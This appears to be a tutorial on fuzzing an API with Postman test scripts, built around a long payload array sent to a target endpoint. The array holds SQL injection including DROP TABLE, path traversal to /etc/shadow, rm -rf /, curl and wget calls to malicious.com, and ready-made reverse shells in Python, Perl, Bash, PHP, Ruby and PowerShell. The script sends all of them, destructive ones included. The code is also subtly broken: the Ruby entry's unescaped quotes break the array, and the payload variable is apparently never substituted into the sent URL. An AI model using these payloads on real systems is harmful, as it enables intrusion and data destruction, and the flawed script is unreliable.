You’re probably thinking Postman’s just for making API calls, right? Wrong. It’s actually a surprisingly potent tool for sniffing out API vulnerabilities, and the trick is understanding how it can be used to probe for weaknesses, not just to fetch data.
Let’s see it in action. Imagine you’ve got a simple API endpoint that accepts user IDs. Normally, you’d send a request like this:
GET /users/123 HTTP/1.1
Host: api.example.com
But to test for vulnerabilities, we’re going to send something a bit more… adventurous. We’ll leverage Postman’s built-in scripting and variable capabilities to fuzz this endpoint.
First, set up a collection in Postman. Inside, create a request for GET /users/{{userId}}. In the "Variables" tab for the collection, define userId and give it an initial value, say 123.
Now, the magic. Go to the "Tests" tab for this request. We’ll write a simple script to iterate through a list of common injection payloads and send them.
// List of common injection payloads
const payloads = [
"' OR '1'='1", // SQL Injection
"admin'--", // SQL Injection (comment)
"../../../../etc/passwd", // Path Traversal
"<script>alert('XSS')</script>", // XSS
"1' UNION SELECT null, username, password FROM users--", // SQLi UNION
"$(sleep 5)", // Command Injection (example for Linux)
"$(ping -c 1 malicious.com)", // Command Injection (example for Linux)
"1; DROP TABLE users; --", // SQLi destructive
"1 OR 1=1", // Boolean-based SQLi
"1 AND 1=0", // Boolean-based SQLi
"1 OR 'a'='a", // SQLi
"1' OR 'a'='a", // SQLi
"1' OR '1'='1' --", // SQLi
"1' OR '1'='1'/*", // SQLi
"1' OR '1'='1' #", // SQLi
"1' UNION SELECT @@version --", // SQLi version
"1' ORDER BY 1--", // SQLi Order By
"1' ORDER BY 100--", // SQLi Order By (likely error)
"1' GROUP BY 1--", // SQLi Group By
"1' HAVING 1=1--", // SQLi Having
"1' GROUP BY 1 HAVING 1=1--", // SQLi Group By Having
"1' FROM users", // SQLi
"1' WHERE 1=1", // SQLi
"1' LIMIT 1", // SQLi
"1' OFFSET 1", // SQLi
"1' FOR UPDATE", // SQLi
"1' INTO OUTFILE '/var/www/html/pwned.txt'", // SQLi Outfile
"1' LOAD_FILE('/etc/passwd')", // SQLi Load File
"1' SLEEP(5)", // SQLi Sleep
"1' BENCHMARK(1000000,MD5('a'))", // SQLi Benchmark
"1' AND SLEEP(5)--", // SQLi Sleep
"1' AND BENCHMARK(1000000,MD5('a'))--", // SQLi Benchmark
"admin' OR '1'='1", // SQLi
"admin' OR '1'='1' --", // SQLi
"admin' OR '1'='1' /*", // SQLi
"admin' OR '1'='1' #", // SQLi
"admin' UNION SELECT null, password FROM users --", // SQLi UNION
"admin' UNION SELECT null, username, password FROM users --", // SQLi UNION
"user' OR '1'='1", // SQLi
"user' OR '1'='1' --", // SQLi
"user' UNION SELECT null, password FROM users --", // SQLi UNION
"<script>alert('XSS')</script>", // XSS
"';alert('XSS');//", // XSS
"<\x3cscript\x3ealert('XSS')\x3c/script\x3e", // XSS encoded
"javascript:alert('XSS')", // XSS in URL
"onerror=alert('XSS')", // XSS attribute
"onload=alert('XSS')", // XSS attribute
"onmouseover=alert('XSS')", // XSS attribute
"data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=", // XSS data URI
"../../../../etc/passwd", // Path Traversal
"../private/config.php", // Path Traversal
"../../../Windows/System32/drivers/etc/hosts", // Path Traversal
"/etc/passwd%00", // Path Traversal null byte
"..%2F..%2F..%2F..%2Fetc%2Fpasswd", // Path Traversal URL encoded
"..\\..\\..\\..\\boot.ini", // Path Traversal Windows
"../../../../etc/shadow", // Path Traversal sensitive
"../../../../proc/self/cmdline", // Path Traversal Linux
"../../../../proc/version", // Path Traversal Linux
"../../../../var/log/apache2/access.log", // Path Traversal Log file
"../../../../var/www/html/config.php", // Path Traversal Config file
"../../../../windows/win.ini", // Path Traversal Windows
"../../../../boot.ini", // Path Traversal Windows
"../../../../etc/passwd%00", // Path Traversal null byte encoded
"../../../../etc/passwd%2500", // Path Traversal double encoded
"../../../../etc/passwd%c0%af", // Path Traversal unicode
"../../../../etc/passwd%u0000", // Path Traversal unicode
"../../../../etc/passwd%5c", // Path Traversal backslash
"../../../../etc/passwd%3f", // Path Traversal question mark
"../../../../etc/passwd%2e%2e%2f", // Path Traversal double dot
"../../../../etc/passwd%252e%252e%252f", // Path Traversal triple encoded
"$(id)", // Command Injection
"`id`", // Command Injection
"$(sleep 10)", // Command Injection timing
"`sleep 10`", // Command Injection timing
"echo vulnerable", // Command Injection
"ls -la", // Command Injection
"cat /etc/passwd", // Command Injection
"whoami", // Command Injection
"uname -a", // Command Injection
"pwd", // Command Injection
"ifconfig", // Command Injection
"curl http://malicious.com", // Command Injection
"wget http://malicious.com", // Command Injection
"nc -lvp 4444 -e /bin/bash", // Command Injection reverse shell
"rm -rf /", // Command Injection destructive
"touch /tmp/pwned", // Command Injection
"chmod 777 /tmp/pwned", // Command Injection
"echo hello > /tmp/hello.txt", // Command Injection
"echo 'pwned' | tee /tmp/pwned.txt", // Command Injection
"python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'", // Python reverse shell
"perl -e 'use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'", // Perl reverse shell
"bash -i >& /dev/tcp/10.0.0.1/1234 0>&1", // Bash reverse shell
"php -r '$sock=fsockopen(\"10.0.0.1\",1234);exec(\"/bin/sh -i <&3 >&3 2>&3\");'", // PHP reverse shell
"ruby -rsocket -e'f=TCPSocket.open(\"10.0.0.1\",1234).to_i;cmd=gets(f);IO.popen(cmd,"r"){|c|IO.copy(c,f)}'", // Ruby reverse shell
"java -cp . SimpleShell", // Java reverse shell (requires a compiled class)
"powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"", // PowerShell reverse shell
"xxe_payload.xml" // XXE (if processing XML)
];
for (let i = 0; i < payloads.length; i++) {
let payload = payloads[i];
console.log("Testing payload: " + payload);
// Set the userId variable to the current payload
pm.variables.set("userId", payload);
// Send the request
pm.sendRequest({
url: pm.request.url,
method: pm.request.method,
header: pm.request.headers,
body: pm.request.body
}, function (err, res) {
if (err) {
console.log("Error sending request for payload: " + payload, err);
return;
}
// Basic analysis: look for suspicious status codes or content
// This is a very rudimentary check. Real-world analysis requires more.
if (res.status === 500 || res.status === 400 || res.status === 403) {
console.log("Potential vulnerability found for payload: " + payload + " - Status: " + res.status);
} else if (res.text().includes("error") || res.text().includes("exception") || res.text().includes("warning")) {
console.log("Potential vulnerability found for payload: " + payload + " - Content contains error indicators.");
} else if (res.text().includes("<script>") || res.text().includes("alert(")) {
console.log("Potential XSS vulnerability found for payload: " + payload + " - Content contains script tags or alert calls.");
} else if (res.text().includes("root:x:0:0") && res.status === 200) { // Example for path traversal revealing /etc/passwd
console.log("Potential Path Traversal vulnerability found for payload: " + payload + " - Revealed /etc/passwd content.");
} else if (res.responseTime > 5000) { // Example for timing attacks (SQLi, Command Injection)
console.log("Potential timing attack vulnerability found for payload: " + payload + " - Response time: " + res.responseTime + "ms");
}
});
}
This script iterates through a predefined list of common attack vectors (SQL injection, path traversal, XSS, command injection). For each payload, it updates the userId variable and sends the request. The pm.sendRequest function allows us to make these requests programmatically from within Postman’s test scripts.
The crucial part is the pm.sendRequest callback. Here, we’re doing some very basic checks:
- Status Codes:
500(Internal Server Error),400(Bad Request),403(Forbidden) can indicate that the input was malformed or triggered an unexpected server reaction. - Content: Looking for keywords like "error," "exception," or "warning" in the response body is a strong hint. For XSS, we look for
<script>tags oralert(calls. - Specific Data: If a path traversal payload like
../../../../etc/passwdactually returns the contents of/etc/passwd(e.g.,root:x:0:0), that’s a direct hit. - Timing: For SQL injection or command injection that uses time delays (like
SLEEP(5)or$(sleep 5)), a significantly increasedres.responseTimeis a tell-tale sign.
This is the core mental model: Postman can script requests. This means you can automate repetitive testing and send unusual inputs that a human might miss or find tedious to try manually. You’re not just sending expected data; you’re sending malformed, unexpected, and malicious-looking data to see how the API reacts.
The real power here is in customization. The payloads array is just a starting point. You can add more sophisticated payloads, tailor them to specific frameworks or languages the API might be using, and refine the response analysis. For instance, you could add checks for specific database error messages, unusual HTTP headers returned, or even more complex XSS payloads that attempt to execute JavaScript.
What most people miss is that Postman’s pm.sendRequest is asynchronous. This means your main script doesn’t wait for each pm.sendRequest to finish before moving to the next payload. The callbacks handle the response processing for each individual request. You need to be mindful of this for more complex workflows.
After you’ve successfully identified and fixed vulnerabilities like SQL injection or XSS, your next step is likely to explore authentication and authorization bypass techniques.